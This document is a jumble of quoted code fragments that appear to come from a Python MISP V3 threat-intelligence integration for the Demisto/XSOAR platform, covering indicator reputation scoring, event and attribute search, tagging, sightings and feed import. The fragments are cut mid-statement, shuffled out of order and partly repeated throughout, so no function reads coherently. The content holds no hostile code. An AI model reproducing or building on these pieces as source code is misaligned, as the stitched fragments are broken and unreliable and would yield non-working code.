outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) #","= DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error: Please provide a valid value for the","tag (i.e found_tag) which caused the indicator to be scored as malicious or","filtered response \"\"\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for","'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email':","attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP update attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute","a list of attributes along with their events objects. Note: When limits the","controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response","(dict): The parsed outputs to context data (array of attributes). score: the indicator","Returns: response (dict): The parsed outputs to context data (array of attributes). score:","all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag,","see an example for a parsed output in test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response)","if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1","} for star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] = [","we would like to add to tag_set_ids all the tags (event ones and","dbot_type == \"URL\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\" Examples are available","in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if","def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\", \"3\"] for event in found_related_events.values(): if event['Threat","create event\\nNew event with ID: {event_id} has been successfully created.\\n\" return CommandResults( readable_output=human_readable,","if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def","proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))","event's threat level id. In such case, the score will be BAD if","value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable)","Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return","outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No attributes found in MISP for the given filters:","url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and","to the tag. \"\"\" scored_events = [] if found_tag: for attribute in all_attributes:","build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context) ==","[]) for tag in object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name","would like to add it to tag_set_ids. In any other case, we won't","is stronger than recognised as suspicious). \"\"\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids","{'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The","obj) def add_domain_object(demisto_args: dict): \"\"\"Adds a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip","attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category:","value (an IP address, email address, domain, url or file hash). dbot_type (str):","uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag","\"3\"] for event in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return True","= 1 if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations']","is an attribute level, default is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id)","= True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg]","V3 error: Please provide a valid value for the Source Reliability parameter\") attributes_limit","event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict):","address: {value} is not valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\"","arguments to create the generic object Returns: GenericObjectGenerator: object created in MISP Example:","the response of attribute search returned from MISP to the context output format.","{ 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged',","only in the malicious one (as a tag that was configured to be","# Replacing keys and values from Demisto to Misp's keys if 'type' in","that will be written to the context Returns: CommandResults includes all the indicator","demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id = attribute_id or attribute_uuid if","attribute_dict was received from an event object, meaning the tags are event's ones.","'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif","args new_event (MISPEvent): When this function was called from create event command, the","in event_args events[i] = {key: events[i].get(key) for key in EVENT_FIELDS if key in","if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if","event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID':","'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with","event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict):","raise DemistoException(\"page should be zero or a positive number\") if limit and limit","in output hash_format = get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash length,","data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type ==","object and set the event's details. \"\"\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')]","\"\"\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg","'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID","INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL,",") MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid',","\"\"\" Gets an event id and deletes it. \"\"\" event_id = demisto_args.get('event_id') response","score. The score is calculated by the tags ids (attribute tags and event","event_object = add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit","return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command","required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response)","recognised as suspicious). \"\"\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for","is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious:","malicious. - Attributes tags (both malicious and suspicious) are stronger than events' tags.","function was called from create event command, the attrubite will be added to","or ip). malicious_tag_ids (set): Tag ids should be recognised as malicious. suspicious_tag_ids (set):","score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights, removeNull=True)","is optional. if 'demisto_query' does not contains any of the complex operators the","demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip'))","if dbot_type == \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \"URL\": return Common.URL(url=value,","or attribute_uuid if not att_id: raise DemistoException('ID or UUID not specified') sighting_args =","misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot","Otherwise (if it is set to 0 or not exists) it says that","event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags':","= args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format:","be scored as malicious. - Attributes tags (both malicious and suspicious) are stronger","of event search returned from MISP to the context output format. please note:","= prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\",","'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock',","MISPEvent = None): \"\"\"Adding attribute to a given MISP event object This function","the event's attribute tags ones as it is part of the event scope).","'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count':","{command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command ==","int]] for index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json()","{len(events_ids)} events was added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids,","DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [ 'value',","= event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score,","= { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp':","like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename':","'\"') try: args = json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args) obj","{ 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response","ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args:","outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will remove tag to","set(), set() found_related_events = {} if not attributes_list: return None for attribute in","tag) # add the tag except PyMISPError: raise DemistoException(\"Adding the required tag was","else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') ==","tag except PyMISPError: raise DemistoException(\"Adding the required tag was failed. Please make sure","UT: test_extract_error. Args: error: list of responses from error section Returns: List[Dict[str, any]]:","'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp':","= [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for","in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller']","PYMISP into readable response, for more information and examples please see UT: test_extract_error.","set to 0 or not exists) it says that it is an attribute's","-> CommandResults: \"\"\"Execute a MISP search over 'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values =","Otherwise it's event's. \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response =","'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization',","generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email',","when user set the arg 'compact' to True\"\"\" if isinstance(response_object, str): response_object =","in response: raise DemistoException(f'Event ID: {event_id} has not found in MISP: \\nError message:","command: {response}') except PyMISPError: raise DemistoException(\"Removing the required tag was failed. Please make","dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for","def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object in","and deletes it. \"\"\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in","data is event's (is_event_level = true) we would like to add to tag_set_ids","found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE,","event_id}) human_readable = f'Object has been added to MISP event ID {event_id}' return","'compact' to True\"\"\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return","= demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance =","Exception(\"MISP V3 error: Please provide a valid value for the Source Reliability parameter\")","of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event Name\":","dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\"Error: The given IP address: {value}","url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj)","= MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info')","called from create event command, the attrubite will be added to that existing","attribute.pop(\"RelatedAttribute\") # get rid of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event)","= demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url =","'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object'] ] def build_tag_output(given_object): \"\"\"given_object","{key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i])","reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits the number of attributes","level id is in [1,2,3]. Otherwise, the threat level is 4 = Unknown.","dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given email address:","\"\"\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True)","= any((found_tag := tag) in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return","[ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse =","command_results = [] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability,","'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations',","limit the attributes amount to the given limit) and by sub-functions calculated the","args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \"\"\" Args: template_name: template name","Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event","len(response_for_context) == limit: pagination_message += f\"Showing page {page} out others that may exist\"","'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID':","the events that were detected as related to the tag. \"\"\" scored_events =","PyMISPError: raise DemistoException(\"Adding the required tag was failed. Please make sure the UUID","= demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response and","[\"Value\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page","attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj,","= attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'),","List[dict]: \"\"\" Extracting errors raised by PYMISP into readable response, for more information","for event in response_object] for i in range(0, len(events)): # Filter object from","as suspicious). \"\"\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id","-> List[dict]: \"\"\" Extracting errors raised by PYMISP into readable response, for more","event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator score by following logic. Indicators","f\"MISP search-events returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context,","Returns: str: dictionary created for misp to perform complex query or if no","in events[i]} events[i]['RelatedEvent'] = [] # there is no need in returning related","a new MISP event object and set the event's details. \"\"\" event =","include only the ID and Name fields. In addition, returns set of the","1, 'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted',","outputs Args: obj: object to add to MISP event_id: ID of event \"\"\"","= r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE)","tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events","attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution]","'2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP':","event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return","by PYMISP into readable response, for more information and examples please see UT:","if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true' else","'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP,","the ID and Name fields. In addition, returns set of the found tag","'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url':","that exists in both sets, it will be removed from the suspicious tag","'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute':","the data is event's (is_event_level = true) we would like to add to","https://www.misp-project.org/objects.html#_url \"\"\" url_args = [ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url","is attribute or event, depends on the called function\"\"\" if given_object.get('Tag'): given_object['Tag'] =","function parses the response. This function goes over all the attributes that found","called function\"\"\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for","response of attribute search returned from MISP to the context output format. \"\"\"","outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL [{url}] is not","is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command","'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') ==","command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat will be used","a MISP search using the 'event' controller. \"\"\" args = prepare_args_to_search('events') page =",") def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path')","'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value':","= attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if","# hashFormat will be used only in output hash_format = get_hash_type(value) if hash_format","the tags and galaxies lists. Eventually, the outputs will be a list of","only related to an attribute we would like to add it to tag_set_ids.","VERIFY = not params.get('insecure') PROXIES = handle_proxy() # type: ignore try: PYMISP =","an event id and deletes it. \"\"\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id)","dict): \"\"\"Creating event in MISP with the given attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args)","attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category","'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj","re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given url: {value} is not valid\") if dbot_type","if timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]:","return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command","else: pagination_message += f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)}","new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id)","threat level id is in [1,2,3]. Otherwise, the threat level is 4 =","to MISP because of a NewConnectionError, ' 'Please make sure your MISP server","demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj)","f'Tag {tag} has been successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute',","Unknown. note: - In case the same tag appears in both Malicious tag","= demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event: response =","if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \"IP\": return Common.IP(ip=value,","once again\") new_event = response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if","event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"') try: args =","<= 0: raise DemistoException(f\"Tag id has to be a positive integer, please change","when this is an attribute level, default is '0' tag_id = tag.get('id') if","type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name') for","re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The given domain: {value} is not valid\") if dbot_type","exists) it says that it is an attribute's tag. If the data is","SSLCertVerificationError, ' 'Please try to use the Trust any certificate option.') if \"NewConnectionError\"","sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\"An error was occurred: {response.get('message')}\")","ids. Some tags have a field called inherited. When it is set to","dbot_score, value): if dbot_type == \"FILE\": hash_type = get_hash_type(value) if hash_type == 'md5':","PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\"Current page","new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id =","'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]: \"\"\"","tag. If the data is event's (is_event_level = true) we would like to","= last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance","to be malicious is stronger than recognised as suspicious). \"\"\" common_ids = set(malicious_tag_ids)","'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command ==","'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]: \"\"\" Extracting","the UUID exists.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag}","was updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable,","replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is attribute or event, depends on the","is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids,","to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain","outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag","if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events,","raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type),","\"\"\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict):","verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event')","handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2 sets which include tag ids. If there is","error section Returns: List[Dict[str, any]]: filtered response \"\"\" return [{ 'code': err[0], 'message':","f'Tag {tag} has been successfully removed from the event {uuid}' return CommandResults( readable_output=human_readable,","args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in","is_attribute=False): \"\"\" Function will add tag to given UUID of event or attribute.","= demisto_args.get('attributes').replace(\"'\", '\"') try: args = json.loads(attributes) if not isinstance(args, list): args =","event tags). Args: value (str): The indicator value (an IP address, email address,","for value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function searches for all the","which configured as suspicious will be scored 2 (i.e suspicious). * don't have","'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID',","Function will remove tag to given UUID of event or attribute. is_attribute (bool):","MISP feed. error: {e}') def add_object(event_id: str, obj: MISPObject): \"\"\"Sending object to MISP","event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \"\"\"Creating","event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = 